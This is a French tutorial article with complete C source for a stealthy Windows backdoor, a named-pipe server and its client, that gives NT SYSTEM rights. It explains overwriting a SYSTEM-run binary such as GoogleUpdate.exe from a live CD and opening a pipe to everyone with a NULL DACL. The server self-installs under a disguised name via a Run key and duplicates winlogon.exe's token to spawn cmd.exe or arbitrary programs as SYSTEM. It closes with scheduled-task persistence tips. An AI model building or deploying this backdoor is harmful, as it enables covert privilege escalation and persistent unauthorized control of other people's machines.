Une backdoor windows locale pour récupérer les droits NT SYSTEM

Quand on a récupéré des droits privilégiés sur une machine par une attaque physique (comprendre locale), on aime bien les conserver et que cela se fasse dans la discrétion...
Passer son user en admin local ou en power-user ce n'est pas ce qu'il y a de plus discret. Quand à casser le mdp du compte admin existant ce n'est pas toujours une mince affaire (du moins si la compatiblité LanMan est désactivée)
Le top c'est d'avoir à disposition de quoi lancer quand on le souhaite une commande nous permettant de récupérer temporairement les droits que l'on souhaite histoire d'installer une app, lancer un sniffeur, récupérer des fichiers etc. Et c'est le sujet de cet article.

L'idée d'origine est bien sûr venue d'une telle situation dans un environement Windows. On a accès à une machine avec un compte limité, on est tout seul et on peut faire démarrer cette bécane sur un live CD, monter le système de fichier et placer un de nos exécutables sur le système.
La question a ensuite été de comment faire en sorte que l'exécutable placé sur le disque puisse nous donner ce que l'on souhaite à savoir un max de droits d'accès, c'est à dire les droits NT SYSTEM...

Placer les exécutables dans une clé Run du registre (au boot) ne suffit pas à faire tourner les exécutables en SYSTEM : Ces clés lancent les programmes quand l'user ouvre sa session avec ses droits à lui. J'ai fouillé dans les processus qui tourneaient en system sur mon PC et trouvé notemment GoogleUpdate.exe, un exe qui comme son nom l'indique est ajouté lors de l'installation de logiciels de chez Google (comme Chrome).
Ce qui était étonnant c'est que cet exécutable était justement dans les clés Run du registre... En fait j'ai découvert plus tard qu'il était aussi lancé en tant que tâche planifiée et que c'était ce qui le faisait tourner en tant que SYSTEM. Mais on y reviendra à la fin de l'article ;-)

Quoiqu'il en soit la première étape était résolue : On écrase le fichier GoogleUpdate.exe (ou tout autre programme qui tourne en SYSTEM, relevé via le taskmgr) par un programme de notre confection via un live CD, on reboot sous Windows et hop, notre prog tourne en SYSTEM :)

Vient ensuite la question de la communication avec le programme : Il faut qu'il tourne "dans l'ombre" en attente de nos commandes et qu'il les exécute quand on les lui envoie.
Pour ça différents techniques sont à notre disposition : créer un fichier contenant les commandes qui serait lues puis le fichier supprimé (pas pratique), communiquer via des sockets (pas terrible face à un netstat ou nmap), via des clés de registre (pas terrible) ou via des tubes nommés.

Va pour les tubes. On créé un petit programme de test histoire de jouer avec les tubes : un clien et un serveur. On utilise la fonction CreateNamedPipe pour créer notre canal de communication qu'on met en écoute via ConnectNamedPipe (l'équivalent de listen pour les sockets) et ensuite on se sert bêtement de WriteFile et ReadFile pour communiquer. Seul problème : une fois lancé en SYSTEM le tube existe bien mais impossible pour le client d'ouvrir la pipeline car des mécanismes de sécurité existent pour que tout le monde n'accéde pas à ce tube (comme pour des fichiers). Il faut donc à la création du tube indiquer des droits spécifiques permettant à tout le monde d'y accéder.
Cette opération se fait lors de la création du pipe en passant comme dernier argument une structure SECURITY_ATTRIBUTES que l'on aura initialisé via InitializeSecurityDescriptor puis correctement rempli avec SetSecurityDescriptorDacl. L'opération dans notre cas est assez simple : il convient de passer NULL comme 3ème paramêtre (pDacl) pour indiquer que tout le monde a les accès.

Pour reprendre sur les communications entre le client et le serveur, le protocole choisi sera le suivant :
Lorsqu'un client se connecte au serveur (ouverture du tube), ce dernier envoi le message d'accueil I'm here to serve you master. au client. Cela permet au client de vérifier que la connexion a bien été établie. Evidemment on peut placer un message plus discret pour éviter aux curieux d'analyser la situation dans les détails :p

C'est ensuite le client qui spécifie ce qu'il souhaite. La commande CWD empruntée au FTP permet d'afficher le répertoire courant du processus serveur. Suvi d'un argument elle permet de lui faire changer de répertoire courant. La commande CMD sera la plus pratique, facile et sans doute la plus fiable à utiliser : elle ouvrera un shell (cmd.exe) dans l'environement de l'utilisateur et ce avec les droits SYSTEM.

Enfin la commande RUN permettra comme son nom l'indique de lancer un exécutable avec les droits SYSTEM. Il faudra forcément passer comme argument le chemin de l'exécutable voulu. Il est préférable d'avoir CWD dans son dossier auparavant. On pourra transférer des paramêtres à ce programme en rajoutant à la fin de la commande RUN les options séparées par le caractère '|' (ex: RUN ping.exe|8.8.8.8 pour pinger le serveur DNS de Google).

Seulement si on lance depuis le client un CMD ou un RUN quelquechose, la fenêtre du programme n'apparait pas alors que l'on voit bien le processus demandé exécuté en tant que SYSTEM dans le gestionnaire des taches... C'est parce que Windows inclus des mécanismes de sécurité de la session graphique qui sont apparu aux fur et à mesure des versions, par exemple pour se prrotéger des shatter attacks. On pourrait comparer ce système basé sur des jetons (tokens) et sessions au système xauth de Linux et ses magic-cookies mais sur ce niveau Windows est beaucoup plus avancé.

Comment alors faire en sorte que notre exécutable tournant en SYSTEM ait accès à la session en cours et puisse générer des processus avec ses privilèges dans cette même session ?
C'est sans doute sur le site CodeProjet que l'on trouve la plus intéressante bibliothèque de documents traitant de ces mécanismes de sécurité, et en particulier (pour notre cas), le document Launch your application in Vista under the local system account without the UAC popup qui nous explique la marche à suivre pour accéder au saint graal :)

Quand vous vous loguez physiquement sur un système Windows Vista/7, une session est générée qui aura l'identifiant 1. Les services lancés par Windows au boot tournent sous une session différente, non-interactive où les applis n'ont pas accès à l'interface graphique : la session 0.
Vous pouvez connaître l'ID de session de chaque processus via Affichage > Sélectionner des colonnes dans le gestionnaire des tâches et vous verrez qu'il y a quand même des processus SYSTEM tournant dans notre session 1. On retrouve alors le GoogleUpdate.exe et, comme sur tous les systèmes, vous verrez le winlogon.exe qui gère le login/logout des utilisateurs. Il y a en gros un processus winlogon.exe tournant en SYSTEM pour chaque session dont l'ID est supérieur ou égal à 1.

L'idée est de récupérer le jeton de winlogon.exe qui lui permet d'avoir accès à l'interface graphique et chaque fois qu'on enverra une commande à notre backdoor, la commande sera lancée avec ce token, faisant apparaître le fenêtre correspondante à l'écran :)

Le procédé à suivre pour arriver à nos fins sera le suivant :

Voici le code source de la partie serveur destinée à tourner avec des droits SYSTEM. Compilation avec Microsoft Visual C++ Express (gratuit) en raison de l'utilisation de certaines bibliothèques.
Le code est un peu crado. En mode debug des messages de statut sont envoyés vers le fichier d'event (journal) d'application.

/*
LOTFREE 9 - Get NT SYSTEM privileges backdoor
Le programme utilise TCHAR & co mais est fait pour unicode
cela dis le passage non-unicode ne necessite pas grandes modifications
*/
#define UNICODE
#define _UNICODE
#define _CRT_SECURE_NO_WARNINGS

// Fonctions acces registre, tokens etc
#pragma comment (lib, "advapi32")
// WTSQueryUserToken 
#pragma comment (lib, "Wtsapi32")
// CreateEnvironmentBlock
#pragma comment (lib, "Userenv")

#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
// CreateToolhelp32Snapshot
#include <Tlhelp32.h>
#include <Wtsapi32.h>
#include <Userenv.h>
// ConvertStringSecurityDescriptorToSecurityDescriptorS
#include <Sddl.h>

#define BUFSIZE 512

DWORD WINAPI InstanceThread(LPVOID);

int _tmain(int argc, TCHAR *argv[])
{
    BOOL   fConnected = FALSE;
    DWORD  dwThreadId = 0;
    HANDLE hPipe = INVALID_HANDLE_VALUE, hThread = NULL;
    LPCTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe");
    LPTSTR lpDisplayBuf;
    TCHAR  orig_name[255];
    TCHAR  dest_name[255];
    HKEY key;
    PSECURITY_ATTRIBUTES pSa = NULL;

    SECURITY_ATTRIBUTES sa ={0};
    SECURITY_DESCRIPTOR sd={0};

    // Creer un security descriptor vide
    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);

    // 3eme parametre : DACL NULL => permettre tous les acces
    SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);

    sa.bInheritHandle = false;
    sa.lpSecurityDescriptor = &sd;
    sa.nLength = sizeof(sa);

    if (argc == 2)
    {
        // si argument = "install", place l'executable comme service lance au boot
        if(_tcscmp(_T("install"), argv[1]) == 0)
        {
            // Obtient le nom de l'exe en cours
            GetModuleFileName(NULL, orig_name, 255);
            // Obtenir l'emplacement des fichiers systemes
            GetSystemDirectory(dest_name, 255);
            _tcscat(dest_name, _T("\\jqs_update.exe"));
            _tprintf(_T("%s\n"), dest_name);
            // On y place une copie de l'excutable sous le nom jqs_update.exe
            CopyFile(orig_name, dest_name, FALSE);

            // Creation du cle Run dans le registre pour lancement au boot
            if(RegOpenKeyEx(HKEY_CURRENT_USER,
                _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
                0,
                KEY_SET_VALUE,
                &key) == ERROR_SUCCESS)
                {
                    if(RegSetValueEx(key,
                        _T("jqs_update"),
                        0,
                        REG_SZ,
                        (BYTE*)dest_name,
                        11) != ERROR_SUCCESS)
                        _tprintf(_T("Registry install failed"));
                    RegCloseKey(key);
                }
            // On quitte : install terminee
            return 0;
        }
    }

    // Cas ou le programme est lance sans arguments
    for (;;)
    {
        // cree le tube nomme pour les communications avec des acces pour tout le monde
        _tprintf( _T("\nServer: Awaiting client connection on %s\n"), lpszPipename);
        hPipe = CreateNamedPipe(
                    lpszPipename,             // pipe name
                    PIPE_ACCESS_DUPLEX | WRITE_DAC,       // read/write access
                    PIPE_TYPE_MESSAGE |       // message type pipe
                    PIPE_READMODE_MESSAGE |   // message-read mode
                    PIPE_WAIT,                // blocking mode
                    PIPE_UNLIMITED_INSTANCES, // max. instances
                    BUFSIZE,                  // output buffer size
                    BUFSIZE,                  // input buffer size
                    0,                        // client time-out
                    &sa);                    // default security attribute - null avant

        if (hPipe == INVALID_HANDLE_VALUE)
        {
            // Ca a merde... affiche un message
            FormatMessage(
                FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                NULL,
                GetLastError(),
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                (LPTSTR)&lpDisplayBuf,
                0, NULL );
            _tprintf(_T("%s"), (LPSTR)lpDisplayBuf);
            // et quitte
            return -1;
        }

        // Attendre que des clients se connectent; en cas de reussite,
        // retourne une valeur non nulle. Dans le cas contraire
        // (retourne zero), GetLastError retourne ERROR_PIPE_CONNECTED.

        fConnected = ConnectNamedPipe(hPipe, NULL) ?
                     TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

        if (fConnected)
        {
            _tprintf(_T("Client connected, creating a processing thread.\n"));

            // Creation d'un thread pour gerer ce client
            hThread = CreateThread(
                NULL,              // no security attribute
                0,                 // default stack size
                InstanceThread,    // Thread qui gere la cnx avec le client :)
                (LPVOID) hPipe,    // thread parameter
                0,                 // not suspended
                &dwThreadId);      // returns thread ID

            if (hThread == NULL)
            {
                // Ca a merde... affiche l'erreur et quitte
                FormatMessage(
                    FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                    NULL,
                    GetLastError(),
                    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                    (LPTSTR)&lpDisplayBuf,
                    0, NULL );
                return -1;
            }
            else CloseHandle(hThread);
        }
        else CloseHandle(hPipe); // The client could not connect, so close the pipe.
    } // end for
    LocalFree(lpDisplayBuf);
    return 0;
}

// Thread qui gere le client connecte
DWORD WINAPI InstanceThread(LPVOID lpvParam)
{
    HANDLE hHeap      = GetProcessHeap();
    TCHAR* pchRequest = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR));
    TCHAR* pchReply   = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR));

    DWORD cbBytesRead = 0, cbReplyBytes = 0, cbWritten = 0;
    BOOL fSuccess = FALSE;
    HANDLE hPipe  = NULL;
    LPTSTR arg1;
    LPTSTR arg2;
    TCHAR lpDisplayBuf[256];

// En mode debug, des messages d'erreur ou de reussite sont passes dans le journal des applications
#ifdef _DEBUG
    HANDLE hEventLog = NULL;
#endif

    LPTSTR lpszStrings[1];
    TCHAR cmdLine[256];
    
    //pompage
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    BOOL bResult = FALSE;
    DWORD dwSessionId, winlogonPid;
    HANDLE hUserToken, hUserTokenDup, hPToken, hProcess;
    DWORD dwCreationFlags;

#ifdef _DEBUG
    hEventLog = RegisterEventSource(NULL, _T("LOTF"));
#endif

    // Recupere l'identifiant de la session physique en cours sur la machine
    dwSessionId = WTSGetActiveConsoleSessionId();

    // Recupere le PID de winlogon.exe
    PROCESSENTRY32 procEntry;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE)
    {
        return 1 ;
    }
    procEntry.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnap, &procEntry))
    {
        return 1;
    }
    do
    {
        if (_tcsicmp(procEntry.szExeFile, _T("winlogon.exe")) == 0)
        {
            // Processus winlogon trouve...
            // make sure it's running in the console session
            DWORD winlogonSessId = 0;
            if (ProcessIdToSessionId(procEntry.th32ProcessID, &winlogonSessId) 
                    && winlogonSessId == dwSessionId)
            {
                winlogonPid = procEntry.th32ProcessID;
                break;
            }
        }
    } while (Process32Next(hSnap, &procEntry));

    // Recupere le token de la session physique en cours. Seul SYSTEM peut faire ca.
    WTSQueryUserToken(dwSessionId,&hUserToken);
    dwCreationFlags = NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE;
    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = _T("winsta0\\default");
    ZeroMemory(&pi, sizeof(pi));
    TOKEN_PRIVILEGES tp;
    LUID luid;

    // Retourne un handle sur le process winlogon.exe
    hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, winlogonPid);

    if(hProcess == NULL)
    {
        FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpDisplayBuf,
        0, NULL);
    }
    else
    {
        _tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!"));
    }
    lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
   ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 666, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

    // Recupere le token d'acces de winlogon.exe avec les droits de duplication
    if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY
           |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY| TOKEN_ADJUST_SESSIONID
                    |TOKEN_READ|TOKEN_WRITE, &hPToken))
    {
        //_tprintf(_T("Process token open Error: %u\n"), GetLastError());
        FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpDisplayBuf,
        0, NULL);
    }
    else
    {
        _tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!"));
    }
    lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
   ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 667, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpDisplayBuf,
        0, NULL);
    }
    else
    {
      _tcscpy(lpDisplayBuf, _T("LookupPrivilege: ok!"));
    }
    lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
   ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 668, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Duplication du token de winlogon.exe vers hUserTokenDup
    DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, NULL,
        SecurityIdentification, TokenPrimary, &hUserTokenDup);

    // On associe le SID de la session physique au token duplique
    SetTokenInformation(hUserTokenDup,
        TokenSessionId,
        (void*)dwSessionId, // SID de la session physique
        sizeof(DWORD));

    if (!AdjustTokenPrivileges(hUserTokenDup,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        NULL))
    {
        FormatMessage(
            FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL,
            GetLastError(),
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPTSTR)&lpDisplayBuf,
            0, NULL );
    }
    else
    {
        _tcscpy(lpDisplayBuf, _T("AdjustTokenPrivileges: c'est ok!"));
    }
    lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
   ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 669, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

    LPVOID pEnv = NULL;

    // Recupere l'environement du token duplique
    if(CreateEnvironmentBlock(&pEnv, hUserTokenDup, TRUE))
    {
        dwCreationFlags |= CREATE_UNICODE_ENVIRONMENT;
        _tcscpy(lpDisplayBuf, _T("CreateEnvironmentBlock: c'est ok!"));
    }
    else
    {
        pEnv= NULL;
        FormatMessage(
            FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL,
            GetLastError(),
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPTSTR)&lpDisplayBuf,
            0, NULL );
    }
    lpszStrings[0] = lpDisplayBuf;

#ifdef _DEBUG
   ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 670, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

//paste end

    // Erreurs possible avec le thread. Si NOK on quitte
    if (lpvParam == NULL)
    {
        _tprintf(_T("\nERROR - Pipe Server Failure:\n"));
        _tprintf(_T("   InstanceThread got an unexpected NULL value in lpvParam.\n"));
        _tprintf(_T("   InstanceThread exitting.\n"));
        if (pchReply != NULL) HeapFree(hHeap, 0, pchReply);
        if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest);
        return (DWORD)-1;
    }

    // On recupere le handle de notre pipe
    hPipe = (HANDLE) lpvParam;

    // On envoi un message d'accueil a ce cher client qui a bien voulu se connecter
    _tcscpy(pchReply, _T("I'm here to serve you master."));
    cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR);
    fSuccess = WriteFile(
                   hPipe,
                   pchReply,
                   cbReplyBytes,
                   &cbWritten,
                   NULL);

    // Loop until done reading
    while (1)
    {
        fSuccess = ReadFile(
                       hPipe,
                       pchRequest,
                       BUFSIZE * sizeof(TCHAR),
                       &cbBytesRead,
                       NULL);

        if (!fSuccess || cbBytesRead == 0)
        {
            if (GetLastError() == ERROR_BROKEN_PIPE)
            {
                _tprintf(_T("InstanceThread: client disconnected.\n"));
            }
            else
            {
                _tprintf(_T("InstanceThread ReadFile failed, GLE=%lu.\n"), GetLastError());
            }
            break;
        }

        pchRequest[cbBytesRead / sizeof(TCHAR) - 1] = _T('\0');

        // Instruction CWD => change de repertoire courant
        if(_tcsnccmp(pchRequest, _T("CWD"), 3) == 0)
        {
            if(_tcsclen(pchRequest) > 3)
            {
                arg1 = _tcsspnp(&pchRequest[3], _T(" "));
                if(arg1 != NULL) SetCurrentDirectory(arg1); // pas de gestion d'erreur
            }
            GetCurrentDirectory(255, pchReply);
        }
        // Instruction RUN => execute un programme, permet de passer des arguments
        else if (_tcsnccmp(pchRequest, _T("RUN"), 3) == 0)
        {
            if(_tcsclen(pchRequest) > 3)
            {
                arg1 = _tcsspnp(&pchRequest[3], _T(" "));
                if(arg1 != NULL)
                {
                    arg2 = _tcschr(arg1, _T('|'));
                    if(arg2 != NULL)
                    {
                        _tprintf(_T("%s\n"), arg2);
                        arg2[0] = _T('\0');
                        arg2 = _tcsinc(arg2);
                    }

                    _sntprintf(cmdLine, BUFSIZE - 1, _T("\"%s\" %s"), arg1, arg2);

                    bResult = CreateProcessAsUser(
                        hUserTokenDup,   // client's access token
                        arg1,            // fichier a executer
                        cmdLine,         // ligne de commande (arguments)
                        NULL,            // pointer to process SECURITY_ATTRIBUTES
                        NULL,            // pointer to thread SECURITY_ATTRIBUTES
                        FALSE,           // handles are not inheritable
                        dwCreationFlags, // creation flags
                        pEnv,            // pointer to new environment block
                        NULL,            // name of current directory
                        &si,             // pointer to STARTUPINFO structure
                        &pi              // receives information about new process
                    );
                    if (bResult != NULL)
                    {
                        _tcscpy(pchReply, _T("CreateProcessAsUser Success!"));
                    }
                    else
                    {
                        _tcscpy(pchReply, _T("CreateProcessAsUser Error!"));
                    }
                }
            }
            else
            {
                _tcscpy(pchReply, _T("Need arguments!"));
            }
        } // Fin RUN

        // Execute cmd.exe (invite de commande avec droits SYSTEM)
        else if (_tcsnccmp(pchRequest, _T("CMD"), 3) == 0)
        {
            _tcscpy(lpDisplayBuf, _T("Juste avant CreateProcessAsUser"));
            lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
            ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 671, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif

            // Launch the process in the client's logon session.

            bResult = CreateProcessAsUser(
                hUserTokenDup,                     // client's access token
                _T("C:\\windows\\system32\\cmd.exe"),
                NULL,            // options
                NULL,            // pointer to process SECURITY_ATTRIBUTES
                NULL,            // pointer to thread SECURITY_ATTRIBUTES
                FALSE,           // handles are not inheritable
                dwCreationFlags, // creation flags
                pEnv,            // pointer to new environment block
                NULL,            // name of current directory
                &si,             // pointer to STARTUPINFO structure
                &pi              // receives information about new process
            );
            if (bResult != NULL)
            {
                _tcscpy(pchReply, _T("CreateProcessAsUser Success!"));
            }
            else
            {
                _tcscpy(pchReply, _T("CreateProcessAsUser Error!"));
            }
        }
        // Message pour les curieux
        else
        {
            _tcscpy(pchReply, _T("Protocol error #8486"));
        }
        cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR);

        // Renvoi l'output sur le pipe
        fSuccess = WriteFile(
           hPipe,        // handle to pipe
           pchReply,     // buffer to write from
           cbReplyBytes, // number of bytes to write
           &cbWritten,   // number of bytes written
           NULL);        // not overlapped I/O

        if (!fSuccess || cbReplyBytes != cbWritten)
        {
            _tprintf(_T("InstanceThread WriteFile failed, GLE=%lu.\n"), GetLastError());
            break;
        }
    } // Fin while

    // End impersonation of client
    CloseHandle(hProcess);
    CloseHandle(hUserToken);
    CloseHandle(hUserTokenDup);
    CloseHandle(hPToken);
  
    FlushFileBuffers(hPipe);
    DisconnectNamedPipe(hPipe);
    CloseHandle(hPipe);

    HeapFree(hHeap, 0, pchRequest);
    HeapFree(hHeap, 0, pchReply);

#ifdef _DEBUG
    _tprintf(_T("InstanceThread exitting.\n"));
    DeregisterEventSource(hEventLog);
#endif
    return 1;
}
    

Et voici le code (minimaliste) du client. Lit les commandes (CWD, CMD, RUN) depuis la console

/* client */
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <stdlib.h>

#define BUFSIZE 512

int _tmain(int argc, TCHAR *argv[])
{
    HANDLE hPipe;
    char message[500]; // buffer pour la saisie a la console (stdin)
	TCHAR wmessage[500]; // buffer de conversion en widechars
    TCHAR  chBuf[BUFSIZE]; // Buffer de lecture sur le pipe
    BOOL   fSuccess = FALSE;
    DWORD  cbRead, cbToWrite, cbWritten, dwMode;
	DWORD err = 0;
    LPTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe");
	size_t convertedChars = 0;

    // Try to open a named pipe; wait for it, if necessary.
    while(1)
    {
        hPipe = CreateFile(
            lpszPipename,   // pipe name
            GENERIC_READ |  // read and write access
            GENERIC_WRITE,
            0,              // no sharing
            NULL,           // default security attributes
            OPEN_EXISTING,  // opens existing pipe
            0,              // default attributes
            NULL);          // no template file

        // Break if the pipe handle is valid.

        if(hPipe != INVALID_HANDLE_VALUE) break;

        // Exit if an error other than ERROR_PIPE_BUSY occurs.

		err = GetLastError();

		if(err == ERROR_ACCESS_DENIED)
		{
			_tprintf(_T("Acces refuse!\n"));
			return -1;
		}
		else if(err != ERROR_PIPE_BUSY)
        {
            _tprintf( _T("Could not open pipe. GLE=%lu\n"), GetLastError());
            return -1;
        }

        // All pipe instances are busy, so wait for 20 seconds.
        if(!WaitNamedPipe(lpszPipename, 20000))
        {
            _tprintf(_T("Could not open pipe: 20 second wait timed out."));
            return -1;
        }
    } // fin while acces pipe

    // The pipe connected; change to message-read mode.
    dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
    fSuccess = SetNamedPipeHandleState(
        hPipe,    // pipe handle
        &dwMode,  // new pipe mode
        NULL,     // don't set maximum bytes
        NULL);    // don't set maximum time
    if (!fSuccess)
    {
        _tprintf( _T("SetNamedPipeHandleState failed. GLE=%lu\n"), GetLastError() );
        return -1;
    }

	memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE);

	//  On lit la banniere d'accueil
    fSuccess = ReadFile(
                   hPipe,    // pipe handle
                   chBuf,    // buffer to receive reply
                   BUFSIZE * sizeof(TCHAR),  // size of buffer
                   &cbRead,  // number of bytes read
                   NULL);    // not overlapped
	chBuf[cbRead / sizeof(TCHAR)] = '\0';
	_tprintf(_T("%s\n"), chBuf);

    while(1)
    {
        // Send a message to the pipe server.
		memset(message, 0, 499);
        fgets(message, 499, stdin);
        cbToWrite = strlen(message);
		mbstowcs_s(&convertedChars, wmessage, cbToWrite, message, _TRUNCATE);
        if (strncmp(message, "QUIT", 4) == 0) break;

        fSuccess = WriteFile(
            hPipe,                  // pipe handle
            wmessage, //lpvMessage, // message
            convertedChars * sizeof(TCHAR), // message length
            &cbWritten,         // bytes written
            NULL);                  // not overlapped

        if (!fSuccess)
        {
            _tprintf(_T("WriteFile to pipe failed. GLE=%lu\n"), GetLastError() );
            return -1;
        }

		memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE);
        do
        {
            // Read from the pipe.
            fSuccess = ReadFile(
                hPipe,    // pipe handle
                chBuf,    // buffer to receive reply
                BUFSIZE * sizeof(TCHAR),  // size of buffer
                &cbRead,  // number of bytes read
                NULL);    // not overlapped
             chBuf[cbRead / sizeof(TCHAR)] = '\0';

             if (!fSuccess && GetLastError() != ERROR_MORE_DATA) break;

            _tprintf(_T("%s\n"), chBuf);
        } while (!fSuccess);  // repeat loop if ERROR_MORE_DATA

        if(!fSuccess)
        {
            _tprintf(_T("ReadFile from pipe failed. GLE=%d\n"), (int)GetLastError());
            return -1;
        }
    }

    CloseHandle(hPipe);
    return 0;
}

Une fois les deux codes compilés, soit vous remplacez l'un des exécutable existant lancé en tant que SYSTEM (exemple: GoogleUpate.exe), soit en plus de placer votre exe sur le système vous y placez aussi un nouveau fichier permettant de définir une tache planifiée.
Sous les anciennes versions de Windows (Win2K, XP et Server 2003) les taches planifiées sont dans un format binaire avec une extension .job. Ces fichiers se trouvent dans le dossier Windows\Tasks du système. La documentation qui définit ce format est disponible sur MSDN. C'est un format qui semble portable d'une machine à l'autre, il est normalement possible de prendre le fichier .job d'une bécane pour le déplacer vers une autre bécane. La seule difficulté est de définir un job UUID qui n'est pas déjà utilisé. Pour créer un .job on utilisera simplement l'outil de gestion de taches planifiés de Windows.

Sur les "nouvelles" versions de Windows (Vista, 7, et Server 2008), c'est encore plus simple car Microsoft est passé à un format XML. Toutefois les .job sont toujours acceptés par compatibilité et l'outil de gestion des taches permet d'importer / d'exporter dans un format ou l'autre. On peut donc reprendre facilement un XML d'une tache existante pour l'adapter à nos besoins. La seule règle à suivre semble être que ces fichiers soient encodés en UTF-16 et commencent par le BOM unicode associé.
Ces fichiers sont situés dans Windows\System32\Tasks et l'arborescence est laissée aux éditeurs logiciels (Microsoft suit sa propre arborescence, beaucoup d'éditeurs laissent leurs fichiers à la base).
En regardant le contenu d'un de ces fichiers vous devriez tout de suite capter à quoi correspond chaque balise. Il y a tout de même de bonnes références sur MSDN.

Dans le dossier contenant les codes sources et les binaires, vous trouverez aussi à titre d'exemple les fichiers de tache planifié correspondant à GoogleUpdate et Windows Defender.